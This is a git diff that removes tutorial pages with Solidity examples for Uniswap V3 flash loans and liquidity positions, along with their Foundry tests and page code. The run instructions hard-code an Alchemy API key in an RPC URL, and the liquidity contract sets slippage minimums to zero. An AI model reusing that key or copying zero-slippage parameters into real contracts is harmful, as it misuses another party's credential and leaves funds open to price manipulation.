-    ) internal pure returns (PoolKey memory) {
-        if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
-        return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
-    }
-
-    function computeAddress(
-        address factory,
-        PoolKey memory key
-    ) internal pure returns (address pool) {
-        require(key.token0 < key.token1);
-        pool = address(
-            uint160(
-                uint(
-                    keccak256(
-                        abi.encodePacked(
-                            hex"ff",
-                            factory,
-                            keccak256(abi.encode(key.token0, key.token1, key.fee)),
-                            POOL_INIT_CODE_HASH
-                        )
-                    )
-                )
-            )
-        );
-    }
-}
-
-interface IUniswapV3Pool {
-    function flash(
-        address recipient,
-        uint amount0,
-        uint amount1,
-        bytes calldata data
-    ) external;
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
-interface IWETH is IERC20 {
-    function deposit() external payable;
-
-    function withdraw(uint amount) external;
-}
-

Test with Foundry

-
    -
  1. Copy and paste this into test folder in your foundry project
  2. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV3Flash.sol";
-
-contract UniswapV3FlashTest is Test {
-    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
-    uint24 constant POOL_FEE = 3000;
-
-    IWETH private weth = IWETH(WETH);
-    IERC20 private usdc = IERC20(USDC);
-
-    UniswapV3Flash private uni = new UniswapV3Flash(USDC, WETH, POOL_FEE);
-
-    function setUp() public {}
-
-    function testFlash() public {
-        // Approve WETH fee
-        weth.deposit{value: 1e18}();
-        weth.approve(address(uni), 1e18);
-
-        uint balBefore = weth.balanceOf(address(this));
-        uni.flash(0, 100 * 1e18);
-        uint balAfter = weth.balanceOf(address(this));
-
-        uint fee = balBefore - balAfter;
-        console.log("WETH fee", fee);
-    }
-}
-
    -
  1. Execute the following commands to run the test
  2. -
-
FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi
-forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3FlashTest.test.sol
-

Links

-

Foundry

-

Uniswap V3 Foundry example

-` - -export default html diff --git a/src/pages/defi/uniswap-v3-flash/index.md b/src/pages/defi/uniswap-v3-flash/index.md deleted file mode 100644 index 5af93ae01..000000000 --- a/src/pages/defi/uniswap-v3-flash/index.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Uniswap V3 Flash Loan -version: 0.8.20 -description: Uniswap V3 Flash Loan -keywords: [defi, uniswap, v3, flash, loan, amm] ---- - -### Uniswap V3 Flash Loan Example - -```solidity -{{{UniswapV3Flash}}} -``` - -### Test with Foundry - -1. Copy and paste this into `test` folder in your foundry project - -```solidity -{{{UniswapV3FlashTest}}} -``` - -2. Execute the following commands to run the test - -```shell -FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi -forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3FlashTest.test.sol -``` - -### Links - -Foundry - -Uniswap V3 Foundry example diff --git a/src/pages/defi/uniswap-v3-flash/index.tsx b/src/pages/defi/uniswap-v3-flash/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v3-flash/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v3-liquidity/UniswapV3Liquidity.sol b/src/pages/defi/uniswap-v3-liquidity/UniswapV3Liquidity.sol deleted file mode 100644 index 93562dfb0..000000000 --- a/src/pages/defi/uniswap-v3-liquidity/UniswapV3Liquidity.sol +++ /dev/null @@ -1,218 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; -address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - -interface IERC721Receiver { - function onERC721Received( - address operator, - address from, - uint tokenId, - bytes calldata data - ) external returns (bytes4); -} - -contract UniswapV3Liquidity is IERC721Receiver { - IERC20 private constant dai = IERC20(DAI); - IWETH private constant weth = IWETH(WETH); - - int24 private constant MIN_TICK = -887272; - int24 private constant MAX_TICK = -MIN_TICK; - int24 private constant TICK_SPACING = 60; - - INonfungiblePositionManager public nonfungiblePositionManager = - INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); - - function onERC721Received( - address operator, - address from, - uint tokenId, - bytes calldata - ) external returns (bytes4) { - return IERC721Receiver.onERC721Received.selector; - } - - function mintNewPosition( - uint amount0ToAdd, - uint amount1ToAdd - ) external returns (uint tokenId, uint128 liquidity, uint amount0, uint amount1) { - dai.transferFrom(msg.sender, address(this), amount0ToAdd); - weth.transferFrom(msg.sender, address(this), amount1ToAdd); - - dai.approve(address(nonfungiblePositionManager), amount0ToAdd); - weth.approve(address(nonfungiblePositionManager), amount1ToAdd); - - INonfungiblePositionManager.MintParams - memory params = INonfungiblePositionManager.MintParams({ - token0: DAI, - token1: WETH, - fee: 3000, - tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING, - tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING, - amount0Desired: amount0ToAdd, - amount1Desired: amount1ToAdd, - amount0Min: 0, - amount1Min: 0, - recipient: address(this), - deadline: block.timestamp - }); - - (tokenId, liquidity, amount0, amount1) = nonfungiblePositionManager.mint( - params - ); - - if (amount0 < amount0ToAdd) { - dai.approve(address(nonfungiblePositionManager), 0); - uint refund0 = amount0ToAdd - amount0; - dai.transfer(msg.sender, refund0); - } - if (amount1 < amount1ToAdd) { - weth.approve(address(nonfungiblePositionManager), 0); - uint refund1 = amount1ToAdd - amount1; - weth.transfer(msg.sender, refund1); - } - } - - function collectAllFees( - uint tokenId - ) external returns (uint amount0, uint amount1) { - INonfungiblePositionManager.CollectParams - memory params = INonfungiblePositionManager.CollectParams({ - tokenId: tokenId, - recipient: address(this), - amount0Max: type(uint128).max, - amount1Max: type(uint128).max - }); - - (amount0, amount1) = nonfungiblePositionManager.collect(params); - } - - function increaseLiquidityCurrentRange( - uint tokenId, - uint amount0ToAdd, - uint amount1ToAdd - ) external returns (uint128 liquidity, uint amount0, uint amount1) { - dai.transferFrom(msg.sender, address(this), amount0ToAdd); - weth.transferFrom(msg.sender, address(this), amount1ToAdd); - - dai.approve(address(nonfungiblePositionManager), amount0ToAdd); - weth.approve(address(nonfungiblePositionManager), amount1ToAdd); - - INonfungiblePositionManager.IncreaseLiquidityParams - memory params = INonfungiblePositionManager.IncreaseLiquidityParams({ - tokenId: tokenId, - amount0Desired: amount0ToAdd, - amount1Desired: amount1ToAdd, - amount0Min: 0, - amount1Min: 0, - deadline: block.timestamp - }); - - (liquidity, amount0, amount1) = nonfungiblePositionManager.increaseLiquidity( - params - ); - } - - function decreaseLiquidityCurrentRange( - uint tokenId, - uint128 liquidity - ) external returns (uint amount0, uint amount1) { - INonfungiblePositionManager.DecreaseLiquidityParams - memory params = INonfungiblePositionManager.DecreaseLiquidityParams({ - tokenId: tokenId, - liquidity: liquidity, - amount0Min: 0, - amount1Min: 0, - deadline: block.timestamp - }); - - (amount0, amount1) = nonfungiblePositionManager.decreaseLiquidity(params); - } -} - -interface INonfungiblePositionManager { - struct MintParams { - address token0; - address token1; - uint24 fee; - int24 tickLower; - int24 tickUpper; - uint amount0Desired; - uint amount1Desired; - uint amount0Min; - uint amount1Min; - address recipient; - uint deadline; - } - - function mint( - MintParams calldata params - ) - external - payable - returns (uint tokenId, uint128 liquidity, uint amount0, uint amount1); - - struct IncreaseLiquidityParams { - uint tokenId; - uint amount0Desired; - uint amount1Desired; - uint amount0Min; - uint amount1Min; - uint deadline; - } - - function increaseLiquidity( - IncreaseLiquidityParams calldata params - ) external payable returns (uint128 liquidity, uint amount0, uint amount1); - - struct DecreaseLiquidityParams { - uint tokenId; - uint128 liquidity; - uint amount0Min; - uint amount1Min; - uint deadline; - } - - function decreaseLiquidity( - DecreaseLiquidityParams calldata params - ) external payable returns (uint amount0, uint amount1); - - struct CollectParams { - uint tokenId; - address recipient; - uint128 amount0Max; - uint128 amount1Max; - } - - function collect( - CollectParams calldata params - ) external payable returns (uint amount0, uint amount1); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} - -interface IWETH is IERC20 { - function deposit() external payable; - - function withdraw(uint amount) external; -} diff --git a/src/pages/defi/uniswap-v3-liquidity/UniswapV3LiquidityTest.sol b/src/pages/defi/uniswap-v3-liquidity/UniswapV3LiquidityTest.sol deleted file mode 100644 index c63c3714f..000000000 --- a/src/pages/defi/uniswap-v3-liquidity/UniswapV3LiquidityTest.sol +++ /dev/null @@ -1,74 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV3Liquidity.sol"; - -contract UniswapV3LiquidityTest is Test { - IWETH private constant weth = IWETH(WETH); - IERC20 private constant dai = IERC20(DAI); - - address private constant DAI_WHALE = 0xe81D6f03028107A20DBc83176DA82aE8099E9C42; - - UniswapV3Liquidity private uni = new UniswapV3Liquidity(); - - function setUp() public { - vm.prank(DAI_WHALE); - dai.transfer(address(this), 20 * 1e18); - - weth.deposit{value: 2 * 1e18}(); - - dai.approve(address(uni), 20 * 1e18); - weth.approve(address(uni), 2 * 1e18); - } - - function testLiquidity() public { - // Track total liquidity - uint128 liquidity; - - // Mint new position - uint daiAmount = 10 * 1e18; - uint wethAmount = 1e18; - - (uint tokenId, uint128 liquidityDelta, uint amount0, uint amount1) = uni - .mintNewPosition(daiAmount, wethAmount); - liquidity += liquidityDelta; - - console.log("--- Mint new position ---"); - console.log("token id", tokenId); - console.log("liquidity", liquidity); - console.log("amount 0", amount0); - console.log("amount 1", amount1); - - // Collect fees - (uint fee0, uint fee1) = uni.collectAllFees(tokenId); - - console.log("--- Collect fees ---"); - console.log("fee 0", fee0); - console.log("fee 1", fee1); - - // Increase liquidity - uint daiAmountToAdd = 5 * 1e18; - uint wethAmountToAdd = 0.5 * 1e18; - - (liquidityDelta, amount0, amount1) = uni.increaseLiquidityCurrentRange( - tokenId, - daiAmountToAdd, - wethAmountToAdd - ); - liquidity += liquidityDelta; - - console.log("--- Increase liquidity ---"); - console.log("liquidity", liquidity); - console.log("amount 0", amount0); - console.log("amount 1", amount1); - - // Decrease liquidity - (amount0, amount1) = uni.decreaseLiquidityCurrentRange(tokenId, liquidity); - console.log("--- Decrease liquidity ---"); - console.log("amount 0", amount0); - console.log("amount 1", amount1); - } -} diff --git a/src/pages/defi/uniswap-v3-liquidity/index.html.ts b/src/pages/defi/uniswap-v3-liquidity/index.html.ts deleted file mode 100644 index a83fc4a06..000000000 --- a/src/pages/defi/uniswap-v3-liquidity/index.html.ts +++ /dev/null @@ -1,321 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V3 Liquidity Examples" -export const description = "Uniswap V3 liquidity examples" - -export const keywords = ["defi", "uniswap", "v3", "liquidity", "amm"] - -export const codes = [ - { - fileName: "UniswapV3Liquidity.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgppbnRlcmZhY2UgSUVSQzcyMVJlY2VpdmVyIHsKICAgIGZ1bmN0aW9uIG9uRVJDNzIxUmVjZWl2ZWQoCiAgICAgICAgYWRkcmVzcyBvcGVyYXRvciwKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgdWludCB0b2tlbklkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYnl0ZXM0KTsKfQoKY29udHJhY3QgVW5pc3dhcFYzTGlxdWlkaXR5IGlzIElFUkM3MjFSZWNlaXZlciB7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElXRVRIIHByaXZhdGUgY29uc3RhbnQgd2V0aCA9IElXRVRIKFdFVEgpOwoKICAgIGludDI0IHByaXZhdGUgY29uc3RhbnQgTUlOX1RJQ0sgPSAtODg3MjcyOwogICAgaW50MjQgcHJpdmF0ZSBjb25zdGFudCBNQVhfVElDSyA9IC1NSU5fVElDSzsKICAgIGludDI0IHByaXZhdGUgY29uc3RhbnQgVElDS19TUEFDSU5HID0gNjA7CgogICAgSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyIHB1YmxpYyBub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciA9CiAgICAgICAgSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyKDB4QzM2NDQyYjRhNDUyMkU4NzEzOTlDRDcxN2FCREQ4NDdBYjExRkU4OCk7CgogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYnl0ZXM0KSB7CiAgICAgICAgcmV0dXJuIElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yOwogICAgfQoKICAgIGZ1bmN0aW9uIG1pbnROZXdQb3NpdGlvbigKICAgICAgICB1aW50IGFtb3VudDBUb0FkZCwKICAgICAgICB1aW50IGFtb3VudDFUb0FkZAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IHRva2VuSWQsIHVpbnQxMjggbGlxdWlkaXR5LCB1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSkgewogICAgICAgIGRhaS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50MFRvQWRkKTsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQxVG9BZGQpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyKSwgYW1vdW50MFRvQWRkKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIGFtb3VudDFUb0FkZCk7CgogICAgICAgIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5NaW50UGFyYW1zCiAgICAgICAgICAgIG1lbW9yeSBwYXJhbXMgPSBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuTWludFBhcmFtcyh7CiAgICAgICAgICAgICAgICB0b2tlbjA6IERBSSwKICAgICAgICAgICAgICAgIHRva2VuMTogV0VUSCwKICAgICAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgICAgIHRpY2tMb3dlcjogKE1JTl9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgICAgIHRpY2tVcHBlcjogKE1BWF9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgICAgIGFtb3VudDBEZXNpcmVkOiBhbW91bnQwVG9BZGQsCiAgICAgICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICAgICAgYW1vdW50ME1pbjogMCwKICAgICAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wCiAgICAgICAgICAgIH0pOwoKICAgICAgICAodG9rZW5JZCwgbGlxdWlkaXR5LCBhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLm1pbnQoCiAgICAgICAgICAgIHBhcmFtcwogICAgICAgICk7CgogICAgICAgIGlmIChhbW91bnQwIDwgYW1vdW50MFRvQWRkKSB7CiAgICAgICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mobm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIpLCAwKTsKICAgICAgICAgICAgdWludCByZWZ1bmQwID0gYW1vdW50MFRvQWRkIC0gYW1vdW50MDsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDApOwogICAgICAgIH0KICAgICAgICBpZiAoYW1vdW50MSA8IGFtb3VudDFUb0FkZCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIDApOwogICAgICAgICAgICB1aW50IHJlZnVuZDEgPSBhbW91bnQxVG9BZGQgLSBhbW91bnQxOwogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDEpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjb2xsZWN0QWxsRmVlcygKICAgICAgICB1aW50IHRva2VuSWQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnQwLCB1aW50IGFtb3VudDEpIHsKICAgICAgICBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuQ29sbGVjdFBhcmFtcwogICAgICAgICAgICBtZW1vcnkgcGFyYW1zID0gSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkNvbGxlY3RQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JZDogdG9rZW5JZCwKICAgICAgICAgICAgICAgIHJlY2lwaWVudDogYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgICAgIGFtb3VudDBNYXg6IHR5cGUodWludDEyOCkubWF4LAogICAgICAgICAgICAgICAgYW1vdW50MU1heDogdHlwZSh1aW50MTI4KS5tYXgKICAgICAgICAgICAgfSk7CgogICAgICAgIChhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLmNvbGxlY3QocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxpcXVpZGl0eUN1cnJlbnRSYW5nZSgKICAgICAgICB1aW50IHRva2VuSWQsCiAgICAgICAgdWludCBhbW91bnQwVG9BZGQsCiAgICAgICAgdWludCBhbW91bnQxVG9BZGQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDEyOCBsaXF1aWRpdHksIHVpbnQgYW1vdW50MCwgdWludCBhbW91bnQxKSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQwVG9BZGQpOwogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudDFUb0FkZCk7CgogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mobm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIpLCBhbW91bnQwVG9BZGQpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyKSwgYW1vdW50MVRvQWRkKTsKCiAgICAgICAgSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkluY3JlYXNlTGlxdWlkaXR5UGFyYW1zCiAgICAgICAgICAgIG1lbW9yeSBwYXJhbXMgPSBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuSW5jcmVhc2VMaXF1aWRpdHlQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JZDogdG9rZW5JZCwKICAgICAgICAgICAgICAgIGFtb3VudDBEZXNpcmVkOiBhbW91bnQwVG9BZGQsCiAgICAgICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICAgICAgYW1vdW50ME1pbjogMCwKICAgICAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wCiAgICAgICAgICAgIH0pOwoKICAgICAgICAobGlxdWlkaXR5LCBhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLmluY3JlYXNlTGlxdWlkaXR5KAogICAgICAgICAgICBwYXJhbXMKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgIHVpbnQgdG9rZW5JZCwKICAgICAgICB1aW50MTI4IGxpcXVpZGl0eQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSkgewogICAgICAgIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5EZWNyZWFzZUxpcXVpZGl0eVBhcmFtcwogICAgICAgICAgICBtZW1vcnkgcGFyYW1zID0gSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkRlY3JlYXNlTGlxdWlkaXR5UGFyYW1zKHsKICAgICAgICAgICAgICAgIHRva2VuSWQ6IHRva2VuSWQsCiAgICAgICAgICAgICAgICBsaXF1aWRpdHk6IGxpcXVpZGl0eSwKICAgICAgICAgICAgICAgIGFtb3VudDBNaW46IDAsCiAgICAgICAgICAgICAgICBhbW91bnQxTWluOiAwLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcAogICAgICAgICAgICB9KTsKCiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0gbm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuZGVjcmVhc2VMaXF1aWRpdHkocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciB7CiAgICBzdHJ1Y3QgTWludFBhcmFtcyB7CiAgICAgICAgYWRkcmVzcyB0b2tlbjA7CiAgICAgICAgYWRkcmVzcyB0b2tlbjE7CiAgICAgICAgdWludDI0IGZlZTsKICAgICAgICBpbnQyNCB0aWNrTG93ZXI7CiAgICAgICAgaW50MjQgdGlja1VwcGVyOwogICAgICAgIHVpbnQgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludCBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50IGFtb3VudDBNaW47CiAgICAgICAgdWludCBhbW91bnQxTWluOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludCgKICAgICAgICBNaW50UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQgdG9rZW5JZCwgdWludDEyOCBsaXF1aWRpdHksIHVpbnQgYW1vdW50MCwgdWludCBhbW91bnQxKTsKCiAgICBzdHJ1Y3QgSW5jcmVhc2VMaXF1aWRpdHlQYXJhbXMgewogICAgICAgIHVpbnQgdG9rZW5JZDsKICAgICAgICB1aW50IGFtb3VudDBEZXNpcmVkOwogICAgICAgIHVpbnQgYW1vdW50MURlc2lyZWQ7CiAgICAgICAgdWludCBhbW91bnQwTWluOwogICAgICAgIHVpbnQgYW1vdW50MU1pbjsKICAgICAgICB1aW50IGRlYWRsaW5lOwogICAgfQoKICAgIGZ1bmN0aW9uIGluY3JlYXNlTGlxdWlkaXR5KAogICAgICAgIEluY3JlYXNlTGlxdWlkaXR5UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKHVpbnQxMjggbGlxdWlkaXR5LCB1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSk7CgogICAgc3RydWN0IERlY3JlYXNlTGlxdWlkaXR5UGFyYW1zIHsKICAgICAgICB1aW50IHRva2VuSWQ7CiAgICAgICAgdWludDEyOCBsaXF1aWRpdHk7CiAgICAgICAgdWludCBhbW91bnQwTWluOwogICAgICAgIHVpbnQgYW1vdW50MU1pbjsKICAgICAgICB1aW50IGRlYWRsaW5lOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlYXNlTGlxdWlkaXR5KAogICAgICAgIERlY3JlYXNlTGlxdWlkaXR5UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKHVpbnQgYW1vdW50MCwgdWludCBhbW91bnQxKTsKCiAgICBzdHJ1Y3QgQ29sbGVjdFBhcmFtcyB7CiAgICAgICAgdWludCB0b2tlbklkOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQxMjggYW1vdW50ME1heDsKICAgICAgICB1aW50MTI4IGFtb3VudDFNYXg7CiAgICB9CgogICAgZnVuY3Rpb24gY29sbGVjdCgKICAgICAgICBDb2xsZWN0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKHVpbnQgYW1vdW50MCwgdWludCBhbW91bnQxKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IHZhbHVlKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IGFtb3VudCkgZXh0ZXJuYWw7Cn0K", - }, - { - fileName: "UniswapV3LiquidityTest.sol", - code: 